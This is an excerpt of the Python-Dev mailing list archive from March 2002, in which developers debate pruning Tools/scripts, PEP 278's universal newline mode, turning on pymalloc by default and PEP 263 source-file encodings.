Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEDKOEAA.tim.one@comcast.net>
Message-ID: <200203140520.SAA27159@s454.cosc.canterbury.ac.nz>

Tim Peters <tim.one@comcast.net>:

> Their backup code is arguable.  It's good to ensure that the new
> file can be written before removing the original file, and good to
> do some form of backup.

Tools which modify files in-place make me nervous,
even when they do keep backups. When writing such a
thing, I much prefer to arrange it so that the new
files are written to a separate, parallel directory
structure. When finished, I can then look at the
results, make sure they're okay, and then replace 
the originals with them. (If needed -- sometimes
I want the results in a different directory
anywa.)

I feel much more comfortable doing things this way,
since if the process fails half way through for some
reason, I can just re-do the whole thing without
worrying about whether it will try to re-process
things that have already been processed, etc.

So if you're going to make some sort of library
module for this, I'd suggest you don't design it to
encourage people to make in-place-modifying tools.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From jeremy@zope.com  Thu Mar 14 06:01:09 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 14 Mar 2002 01:01:09 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEDKOEAA.tim.one@comcast.net>
Message-ID: <web-3732517@digicool.com>

Wasn't Eric Raymond's ccframe module supposed to support
tools like this?  Perhaps it useful to look at some of the
ideas there.

Jeremy


From tim.one@comcast.net  Thu Mar 14 06:34:29 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 14 Mar 2002 01:34:29 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <15504.12998.450804.499438@anthem.wooz.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEDPOEAA.tim.one@comcast.net>

[Barry]
> And /please/ have long-option alternatives for each of the short
> opts.  E.g. --dry-run.  It is okay for there to only be a long-opt
> version of a switch.

No it isn't (if you don't believe me, ask your boss <0.3 wink>).

> Also, always have -h/--help and (probably) -V/--version. ...

How about Trent check Greg Ward's Optik into Tools/scripts/, lest he end up
reinventing it?

(BTW, I agree with the goal, I'm just giving Trent an excuse not to vent
himself <wink>)

> ...
> Oh jeez, acronym explosion time.  Some How, I Think Not Obvious.

Damn.  I can't think of any word that begins with K!

fortunately-unless-candians-keep-yelling-over-usecases-there's-only-
    one-ly y'rs  - tim



From barry@zope.com  Thu Mar 14 06:50:04 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 14 Mar 2002 01:50:04 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
References: <15504.12998.450804.499438@anthem.wooz.org>
 <LNBBLJKPBEHFEDALKOLCOEDPOEAA.tim.one@comcast.net>
Message-ID: <15504.18460.208166.994630@anthem.wooz.org>

>>>>> "TP" == Tim Peters <tim.one@comcast.net> writes:

    >> And /please/ have long-option alternatives for each of the
    >> short opts.  E.g. --dry-run.  It is okay for there to only be a
    >> long-opt version of a switch.

    TP> No it isn't (if you don't believe me, ask your boss <0.3
    TP> wink>).

Hmm, tell that to the rsync authors (to pick one example).  Maybe they
should have chosen -Z for --modify-window <wink>.

    >> Also, always have -h/--help and (probably) -V/--version. ...

    TP> How about Trent check Greg Ward's Optik into Tools/scripts/,
    TP> lest he end up reinventing it?

    TP> (BTW, I agree with the goal, I'm just giving Trent an excuse
    TP> not to vent himself <wink>)

I suspect we've succeeded in scaring Trent away by now. :)

    >> ...  Oh jeez, acronym explosion time.  Some How, I Think Not
    >> Obvious.

    TP> Damn.  I can't think of any word that begins with K!

    TP> fortunately-unless-candians-keep-yelling-over-usecases-there's-only-
    TP> one-ly y'rs - tim

but-i-think-everyone-might-eventually-help-advocate-real-debugging-ly y'rs,
-Barry


From martin@v.loewis.de  Thu Mar 14 07:36:48 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 14 Mar 2002 08:36:48 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support -  available
In-Reply-To: <3C8FFD4D.5CCE01A@prescod.net>
References: <002801c1caf0$747b1630$ced241d5@hagrid>
 <3C8FFD4D.5CCE01A@prescod.net>
Message-ID: <m3henj8usv.fsf@mira.informatik.hu-berlin.de>

Paul Prescod <paul@prescod.net> writes:

> >     f = textfile(filename, mode="r", encoding=None)
> 
> Enthusiastic +1.
> 
> But I think that encoding should default to "ASCII". We also need to
> discuss under what circumstances textfile("foo").read() returns Unicode
> string versus 8-bit string.

My suggestion would be "always", while I'm fine with the default
encoding as "ascii".

"Universal" newline support then means that additional newline markers
should be recognized: 
U+0080 NEXT LINE (NEL)
U+2028 LINE SEPARATOR

If possible, Unicode TR 13 (http://www.unicode.org/unicode/reports/tr13/)
should be followed as much as possible.

Regards,
Martin



From just@letterror.com  Thu Mar 14 07:54:14 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 14 Mar 2002 08:54:14 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
Message-ID: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>

Am I the only one who wants universal newlines *without* a new mode character?
Ideally I'd like *existing* code that works with text files to accept any line
ending.

Just


From martin@v.loewis.de  Thu Mar 14 07:25:34 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: Thu, 14 Mar 2002 08:25:34 +0100
Subject: [Python-Dev] Activating pymalloc
Message-ID: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>

I just performed some benchmark of pymalloc, compared to glibc 2.2
malloc, using xmlproc (a pure-Python XML parser) as the sample
application. On an artificial input document, the standard
configuration ran 16.3s; the configuration with pymalloc ran 15s.

I recommend to enable pymalloc by default; I can commit the necessary
changes if desired.

Regards,
Martin



From mal@lemburg.com  Thu Mar 14 09:50:42 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Thu, 14 Mar 2002 10:50:42 +0100
Subject: [Python-Dev] Activating pymalloc
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
Message-ID: <3C907272.27FB9B3B@lemburg.com>

"Martin v. Loewis" wrote:
> 
> I just performed some benchmark of pymalloc, compared to glibc 2.2
> malloc, using xmlproc (a pure-Python XML parser) as the sample
> application. On an artificial input document, the standard
> configuration ran 16.3s; the configuration with pymalloc ran 15s.
> 
> I recommend to enable pymalloc by default; I can commit the necessary
> changes if desired.

AFAIK, pymalloc still has problems with threading, so I unless this
has already been resolved, I don't think it's a good idea to
enable it by default just yet (since threads are enabled per default
too).

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From fredrik@pythonware.com  Thu Mar 14 10:35:08 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 14 Mar 2002 11:35:08 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
Message-ID: <006201c1cb43$eb8369f0$0900a8c0@spiff>

just wrote:


> Am I the only one who wants universal newlines *without* a new
> mode character?  Ideally I'd like *existing* code that works with
> text files to accept any line ending.

on a Unix box, does the following piece of code
open a text file or a binary data file?

    f =3D open(filename)

</F>



From just@letterror.com  Thu Mar 14 11:09:05 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 14 Mar 2002 12:09:05 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <006201c1cb43$eb8369f0$0900a8c0@spiff>
Message-ID: <20020314120910-r01010800-8604afec-0920-010c@10.0.0.23>

Fredrik Lundh wrote:

> just wrote:
> 
> 
> > Am I the only one who wants universal newlines *without* a new
> > mode character?  Ideally I'd like *existing* code that works with
> > text files to accept any line ending.
> 
> on a Unix box, does the following piece of code
> open a text file or a binary data file?
> 
>     f = open(filename)

If it's not a text file, that code is broken. The question is: can we afford to
physically break that broken code? Probably not. That's why I've said earlier
that it might be an idea to turn the universal line ending hook *off* by default
on platforms where there is currently no difference between text and binary
mode.

(But I quite like your textfile() proposal, too.)

Just


From mwh@python.net  Thu Mar 14 11:11:52 2002
From: mwh@python.net (Michael Hudson)
Date: 14 Mar 2002 11:11:52 +0000
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: "Martin v. Loewis"'s message of "Thu, 14 Mar 2002 08:25:34 +0100"
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
Message-ID: <2mr8mn5rpj.fsf@starship.python.net>

"Martin v. Loewis" <martin@v.loewis.de> writes:

> I just performed some benchmark of pymalloc, compared to glibc 2.2
> malloc, using xmlproc (a pure-Python XML parser) as the sample
> application. On an artificial input document, the standard
> configuration ran 16.3s; the configuration with pymalloc ran 15s.

Cool!

> I recommend to enable pymalloc by default; I can commit the necessary
> changes if desired.

I think too many extension modules will crash with pymalloc due to
PyObject_Del/PyMem_Del confusion (e.g. zodb, which scared the crap out
of me last week when I thought it was something I'd done on the
release22-maint branch).

OTOH, they probably won't get fixed until people start using pymalloc
all the time...

Cheers,
M.

-- 
112. Computer Science is embarrassed by the computer.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From suzuki611@oki.com  Thu Mar 14 06:10:05 2002
From: suzuki611@oki.com (SUZUKI Hisao)
Date: Thu, 14 Mar 2002 15:10:05 +0900
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese)
In-Reply-To: <87it81vxyg.fsf@tleepslib.sk.tsukuba.ac.jp> (stephen@xemacs.org)
Message-ID: <200203140610.PAA32196@suzuki611.ngo.okisoft.co.jp>

>     SUZUKI> I should have appended to that, "And English people will
>     SUZUKI> distribute programs with no magic comments all over the
>     SUZUKI> world.  Japanese users will use them."
> But this "just works" as long as the default encoding is an ASCII
> superset (or even JIS X 0201 (^^; as Japanese users are now all
> equipped with YEN SIGN <-> REVERSE SOLIDUS codecs).

Yes, this is the problem I found.

>     SUZUKI> Certainly Japanese users are also free from putting
>     SUZUKI> encoding declarations, but we do not expect such programs
>     SUZUKI> to be usable in other countries than Japan, given the PEP
>     SUZUKI> as is.
> But this is also true for everyone else, except Americans.  All of the
> common non-ASCII encodings are non-universal and therefore
> non-portable, with the exception of UTF-8 and X Compound Text (and the
> latter is a non-starter in program sources because of the 0x22
> problem).

Indeed.  If we are to distribute Python programs to various
countries, I think, we must write them in UTF-8, _anyway_.
Under the PEP as is, the magic comment or BOM is mandatory,
unless all character codes happen to be less than 0x80.  This is
tedious and somewhat ugly, but not fatal.

> I myself objected to this PEP because I think it's far too easy for my
> Croatian (Latin-2) friend working in Germany to paste a Latin-1 quote
> into a Latin-2 file.  He'll do it anyway on occasion, but if we start
> insisting _now_ that "Python programs are written in UTF-8", we'll
> avoid a lot of mojibake.  12 years in Japan makes that seem an important
> goal.<wink>  But such multiscript processing is surely a lot more
> rare in any country but Japan.

I agree with you on the problem of "mojibake".  UTF-8 is the
sole encoding at present, in which people all over Asia, Europa,
or even the World, can cooperate on the same python source file
safely.

The PEP will serve us for making various local encodings for the
present to be "official".  It will not save us from the chaos of
the local encodings very much.

And almost every operating system in Japan is on the way to
adopt Unicode to save us from the chaos.  I am afraid the
mileage of the PEP will be fairly short and just results in
loading a lot of burden onto the language, though it is not
fatal in itself.

>     SUZUKI> BTW, when transmitting Python source code between Unix and
>     SUZUKI> Windows, we do not necessarily convert encodings.
> But this is bad practice.  You can do it if it works for you, but
> Python should not avoid useful changes because people are treating
> different encodings as the same!

I know it is not the best practice either.  However, you cannot
safely write Shift_JIS into Python source file anyway, unless
you hack up the interpreter parser itself for now.  Strictly
speaking, Shift_JIS is not compatible with ASCII, you know.
With the present Python as is, you are safe to write EUC-JP and
UTF-8 in source.

On a very serious project, it is reasonable to use the original
(i.e., not hacked) interpreter and (either EUC-JP or) UTF-8 both
on Unix and Windows even in the "present day, present time".

> There's a third option:
> 
>     3.  Make UTF-8 the only encoding acceptable for "standard Python",
>         and insert a hook for a codec to be automatically run on source
>         text.  Standard Python would _never_ put anything on this hook,
>         but an optional library would provide other codecs, including one
>         to implement PEP 263.
> 
> Guido thought the idea has merit, as an implementation.  Therefore
> UTF-8 would be encouraged by Python, but PEP 263 would give official
> sanction to the -*- coding: xxx -*- cookie.  And this would give you a
> lot of flexibility for experimentation (eg, with UTF-16 codecs, etc).

Certainly this will not load a burden onto the language itself
even if the mileage of the PEP is short.

--
SUZUKI Hisao <suzuki@acm.org> <suzuki611@okisoft.co.jp>


From jon+python-dev@unequivocal.co.uk  Thu Mar 14 13:21:50 2002
From: jon+python-dev@unequivocal.co.uk (Jon Ribbens)
Date: Thu, 14 Mar 2002 13:21:50 +0000
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <20020314120910-r01010800-8604afec-0920-010c@10.0.0.23>; from just@letterror.com on Thu, Mar 14, 2002 at 12:09:05PM +0100
References: <006201c1cb43$eb8369f0$0900a8c0@spiff> <20020314120910-r01010800-8604afec-0920-010c@10.0.0.23>
Message-ID: <20020314132150.D19672@snowy.squish.net>

Just van Rossum <just@letterror.com> wrote:
> > on a Unix box, does the following piece of code
> > open a text file or a binary data file?
> > 
> >     f = open(filename)
> 
> If it's not a text file, that code is broken.

(a) I dispute that.
(b) You're going to break an awful lot of code if that isn't going to
    work anymore.


From gward@python.net  Thu Mar 14 13:46:11 2002
From: gward@python.net (Greg Ward)
Date: Thu, 14 Mar 2002 08:46:11 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: <20020313124458.C15069@ActiveState.com>
References: <20020313124458.C15069@ActiveState.com>
Message-ID: <20020314134611.GA9371@gerg.ca>

On 13 March 2002, Trent Mick said:
>     - improve the command line interface of some of the scripts to, for
>       example, have -h|--help options

Don't put *too* much work into this; the getopt-sig just might come up
with something that will do the gruntwork for you.  Would be nice to use
the (still mythical) new 'n improved getopt for example/demo scripts.

        Greg
-- 
Greg Ward - nerd                                        gward@python.net
http://starship.python.net/~gward/
"Eine volk, eine reich, eine führer" --Hitler
"One world, one web, one program" --Microsoft


From paul@svensson.org  Thu Mar 14 13:46:43 2002
From: paul@svensson.org (Paul Svensson)
Date: Thu, 14 Mar 2002 08:46:43 -0500 (EST)
Subject: [Python-Dev] Next version of PEP278 - universal newline support
 - available
In-Reply-To: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
Message-ID: <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>

On Thu, 14 Mar 2002, Just van Rossum wrote:

>Am I the only one who wants universal newlines *without* a new mode character?
>Ideally I'd like *existing* code that works with text files to accept any line
>ending.

No, you're not the only one.
Of course, this will break some unix code where the author forgot to add
a "b" when opening a binary file, but I'd say they deserve to lose.

	/Paul



From gimbo@ftech.net  Thu Mar 14 13:53:38 2002
From: gimbo@ftech.net (Andy Gimblett)
Date: Thu, 14 Mar 2002 13:53:38 +0000
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>
Message-ID: <20020314135338.GB1527@andy.tynant.ftech.net>

On Thu, Mar 14, 2002 at 08:46:43AM -0500, Paul Svensson wrote:

> No, you're not the only one.
> Of course, this will break some unix code where the author forgot to add
> a "b" when opening a binary file, but I'd say they deserve to lose.

Forgive my ignorance, but why?  I'm not trying to be provocative,
that's a serious question from someone who thought that as far as unix
was concerned, a file consists of bytes and "that's that".  So I'd be
interested to know, what are the negative implications of such an
omission?

Thanks,

Andy

-- 
Andy Gimblett - Programmer - Frontier Internet Services Limited
Tel: 029 20 820 044 Fax: 029 20 820 035 http://www.frontier.net.uk/
Statements made are at all times subject to Frontier's Terms and
Conditions of Business, which are available upon request.


From aahz@pythoncraft.com  Thu Mar 14 13:55:52 2002
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 14 Mar 2002 08:55:52 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>
Message-ID: <20020314135552.GA13680@panix.com>

On Thu, Mar 14, 2002, Paul Svensson wrote:
> On Thu, 14 Mar 2002, Just van Rossum wrote:
>> 
>>Am I the only one who wants universal newlines *without* a new mode
>>character?  Ideally I'd like *existing* code that works with text
>>files to accept any line ending.
>
> No, you're not the only one.
> Of course, this will break some unix code where the author forgot to add
> a "b" when opening a binary file, but I'd say they deserve to lose.

-1
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From skip@pobox.com  Thu Mar 14 14:07:02 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 08:07:02 -0600
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <2mr8mn5rpj.fsf@starship.python.net>
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
 <2mr8mn5rpj.fsf@starship.python.net>
Message-ID: <15504.44678.600749.912148@12-248-41-177.client.attbi.com>

    Martin> I recommend to enable pymalloc by default; I can commit the
    Martin> necessary changes if desired.

    Michael> I think too many extension modules will crash ...

    Michael> OTOH, they probably won't get fixed until people start using
    Michael> pymalloc all the time...

TPOTUA (there's plenty of time until alpha).

Skip


From bh@intevation.de  Thu Mar 14 14:06:19 2002
From: bh@intevation.de (Bernhard Herzog)
Date: 14 Mar 2002 15:06:19 +0100
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>
References: <Pine.LNX.4.21.0203140841580.657-100000@familjen.svensson.org>
Message-ID: <6qbsdrz1k4.fsf@abnoba.intevation.de>

Paul Svensson <paul@svensson.org> writes:

> Of course, this will break some unix code where the author forgot to add
> a "b" when opening a binary file, but I'd say they deserve to lose.

What would this mean for sys.stdin? The pep doesn't say anything about
it, but IIRC on Windows at least stdin is in text-mode by default.

   Bernhard

-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/


From paul@svensson.org  Thu Mar 14 14:12:40 2002
From: paul@svensson.org (Paul Svensson)
Date: Thu, 14 Mar 2002 09:12:40 -0500 (EST)
Subject: [Python-Dev] Next version of PEP278 - universal newline support
 - available
In-Reply-To: <006201c1cb43$eb8369f0$0900a8c0@spiff>
Message-ID: <Pine.LNX.4.21.0203140850040.657-100000@familjen.svensson.org>

On Thu, 14 Mar 2002, Fredrik Lundh wrote:

>on a Unix box, does the following piece of code
>open a text file or a binary data file?
>
>    f = open(filename)

According to `man fopen` on Rock Linux 3.0.9, "r" is used for opening a text
file for reading, and "b" can be added, but has no effect.  So it appears
that at least on this variant of Unix, stdio can not read binary files... 

On the other hand, ANSI C specifies that "b" should be used when opening
binary files, so I suppose there would be some flags to the compiler to
make that work (gcc 2.95.2)...

Btw, does compiling Python require ANSI C, or does it work with an old K&R
style compiler as well ?  I'd love to have Python on my ITS box ;)

sidetracked-and-forgot-to-answer-the-question-ly,

	/Paul



From gward@python.net  Thu Mar 14 14:19:09 2002
From: gward@python.net (Greg Ward)
Date: Thu, 14 Mar 2002 09:19:09 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
References: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
Message-ID: <20020314141909.GB9371@gerg.ca>

On 14 March 2002, Jack Jansen said:
> the next version of PEP278, universal newline support, and the 
> accompanying patch are available for your review and testing.

Works for me.  I cvs up'd, applied your patch, reconfigured and
recompiled, and ran your test script.  It passed.  Created sample Unix,
DOS, and Mac text files of my own, and convinced myself that "U" does
the right thing.  Running the whole test suite now, haven't seen any
failures yet.  Nice work!

I did *not* look at the code itself -- I'll leave that to others.

        Greg
-- 
Greg Ward - geek-at-large                               gward@python.net
http://starship.python.net/~gward/
A closed mouth gathers no foot.


From guido@python.org  Thu Mar 14 16:04:46 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 11:04:46 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: Your message of "Thu, 14 Mar 2002 10:50:42 +0100."
 <3C907272.27FB9B3B@lemburg.com>
References: <200203140725.g2E7PYJ10662@mira.informatik.hu-berlin.de>
 <3C907272.27FB9B3B@lemburg.com>
Message-ID: <200203141604.g2EG4kT24107@pcp742651pcs.reston01.va.comcast.net>

> "Martin v. Loewis" wrote:
> > 
> > I just performed some benchmark of pymalloc, compared to glibc 2.2
> > malloc, using xmlproc (a pure-Python XML parser) as the sample
> > application. On an artificial input document, the standard
> > configuration ran 16.3s; the configuration with pymalloc ran 15s.
> > 
> > I recommend to enable pymalloc by default; I can commit the necessary
> > changes if desired.

+1
[MAL]
> AFAIK, pymalloc still has problems with threading, so I unless this
> has already been resolved, I don't think it's a good idea to
> enable it by default just yet (since threads are enabled per default
> too).

The threading problems are a myth.  Pymalloc relies on the GIL, yes,
but it is only invoked when the GIL is held.

Some extensions will break because they don't use the right
alloc/dealloc macros (we just fixed a few of these in Zope), but I
agree with others that alpha time is a good time to start fortcing
this issue.  A big warning in NEWS might be useful.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 14 16:17:29 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 11:17:29 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: Your message of "Thu, 14 Mar 2002 08:54:14 +0100."
 <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
Message-ID: <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>

> Am I the only one who wants universal newlines *without* a new mode
> character?  Ideally I'd like *existing* code that works with text
> files to accept any line ending.

Me too.  But it opens up the nasty problem of the gazillions of
Unix-only programmers who never use 'b' for binary files.  We've fixed
that in the std library (since it's cross platform), but I'm not too
comfortable with imposing this on everybody without a transition
period, given that this is both common knowledge and has "just worked"
for 12 years in Python.

I wonder if it would make sense to put a warning when people use
f.read(n) on a file opened in text mode?  I think f.read(n) is an
almost sure sign that they're seeing the file as binary data.
However, f.read() or f.read(-1) is used to slurp in text as well, so
should not trigger the warning.

Opinions?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Mar 14 16:19:47 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 11:19:47 -0500
Subject: [Python-Dev] Slash and burn in Tools/scripts. Objections?
In-Reply-To: Your message of "Thu, 14 Mar 2002 01:34:29 EST."
 <LNBBLJKPBEHFEDALKOLCOEDPOEAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCOEDPOEAA.tim.one@comcast.net>
Message-ID: <200203141619.g2EGJlI24195@pcp742651pcs.reston01.va.comcast.net>

> [Barry]
> > And /please/ have long-option alternatives for each of the short
> > opts.  E.g. --dry-run.  It is okay for there to only be a long-opt
> > version of a switch.

[Tim]
> No it isn't (if you don't believe me, ask your boss <0.3 wink>).

Long options are for wusses.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From nas@python.ca  Thu Mar 14 16:26:15 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 14 Mar 2002 08:26:15 -0800
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Thu, Mar 14, 2002 at 11:17:29AM -0500
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020314082615.A2238@glacier.arctrix.com>

Guido van Rossum wrote:
> Opinions?

Please don't change the behavior of open() on Unix.  I like effbot's
idea much better.

  Neil


From aahz@pythoncraft.com  Thu Mar 14 16:25:28 2002
From: aahz@pythoncraft.com (Aahz)
Date: Thu, 14 Mar 2002 11:25:28 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020314162528.GA11066@panix.com>

On Thu, Mar 14, 2002, Guido van Rossum wrote:
>
> I wonder if it would make sense to put a warning when people use
> f.read(n) on a file opened in text mode?  I think f.read(n) is an
> almost sure sign that they're seeing the file as binary data.
> However, f.read() or f.read(-1) is used to slurp in text as well, so
> should not trigger the warning.
> 
> Opinions?

+1

Warnings for something we know to be a problem are "always" good.  The
only worry is CGI scripts, but even then warnings go to stderr, right?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

The best way to get information on Usenet is not to ask a question, but
to post the wrong information.  --Aahz


From guido@python.org  Thu Mar 14 16:40:09 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 14 Mar 2002 11:40:09 -0500
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: Your message of "Thu, 14 Mar 2002 08:26:15 PST."
 <20020314082615.A2238@glacier.arctrix.com>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23> <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
 <20020314082615.A2238@glacier.arctrix.com>
Message-ID: <200203141640.g2EGe9N24321@pcp742651pcs.reston01.va.comcast.net>

> Guido van Rossum wrote:
> > Opinions?
> 
> Please don't change the behavior of open() on Unix.  I like effbot's
> idea much better.

You mean textfile() as the official constructor for text files?

I think that in the long run, it's wrong that open() defaults to
binary mode on Unix, while it defaults to text mode on other
platforms.  I think nudging people into the direction of being
explicit about binary mode, and defaulting to universal text mode on
all platforms makes more sense.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bckfnn@worldonline.dk  Thu Mar 14 16:51:57 2002
From: bckfnn@worldonline.dk (Finn Bock)
Date: Thu, 14 Mar 2002 16:51:57 GMT
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
References: <400A5B40-36D6-11D6-AC68-003065517236@oratrix.com>
Message-ID: <3c90aba2.27365980@mail.wanadoo.dk>

[Jack Jansen]

>Folks,
>the next version of PEP278, universal newline support, and the 
>accompanying patch are available for your review and testing.
>
>The patch has changed very little:
>- open(filename, 'U') is now the way to open files for universal 
>newline reading because 't' may have a use on Windows;
>- --with-universal-newlines is now the default configure option.
>
>The PEP has changed a bit more, mainly addressing issues brought 
>up by Guido and Greg Ward.
>
>Please read, test and comment,

The patch univnewlines-20020313 appears to be a plain diff, and for some
reason, it doesn't apply cleanly for me, so I may be reading the patch
wrongly.

The PEP seems to assume that the changed behaviour only apply to
.readline() and friends. I'm sure that is obvious to you, but for
historical reasons beyound my control, the universal newline support in
jython normalize all lineendings to a newline for all reads on text
files. I think jython is wrong here and your PEP is better. I just think
the PEP could be a little more specific and say that the newline support
only influence readline() and tell() and not read().

Is it really necessary to handle lineendings in tell()? What would be
lost if skipnextlf was ignored in file_tell()?

And IMHO, the 'U' flag should be the default.

regards,
finn


From tim@zope.com  Thu Mar 14 17:23:05 2002
From: tim@zope.com (Tim Peters)
Date: Thu, 14 Mar 2002 12:23:05 -0500
Subject: [Python-Dev] Activating pymalloc
In-Reply-To: <200203141604.g2EG4kT24107@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHCENDCNAA.tim@zope.com>

[Martin v. Loewis]
> I recommend to enable pymalloc by default; I can commit the necessary
> changes if desired.

+0

There needs to be an extremely easy-to-follow guide for extension authors,
because we know for sure that extensions are going to break in nasty ways.
I personally cannot keep straight which "get memory" function/macros need to
be used with which "release memory" gimmicks, so I'm not even going to try
to write this.

Martin, you were concerned earlier about the possibilities for tricking
pymalloc into crashing the system, given that its flavor of free() takes a
careful but still probabilistic guess about who (pymalloc or "the system")
owns the memory being returned.  Are you no longer concerned abou that?



From skip@pobox.com  Thu Mar 14 17:26:13 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 14 Mar 2002 11:26:13 -0600
Subject: [Python-Dev] Next version of PEP278 - universal newline support - available
In-Reply-To: <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
References: <20020314085416-r01010800-4aa7ed50-0920-010c@10.0.0.23>
 <200203141617.g2EGHTQ24163@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15504.56629.139299.340997@beluga.mojam.com>

    Guido> I wonder if it would make sense to put a warning when people use
    Guido> f.read(n) on a file opened in text mode?  I think f.read(n) is an
    Guido> almost sure sign that they're seeing the file as binary data.
    Guido> However, f.read() or f.read(-1) is used to slurp in text as well,
    Guido> so should not trigger the warning.

    Guido> Opinions?

Pass this off to PyChecker?

I guess with the presence of PyChecker I'm getting a bit schizophrenic about
whether warnings go in the Python byte compiler or in PyChecker.  It warns
about so many more things now than the compiler as it stands that it seems
to me to be the more natural place to stick new warnings.

Skip



From pedroni@inf.ethz.ch  Thu Mar 14 17:23:08 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
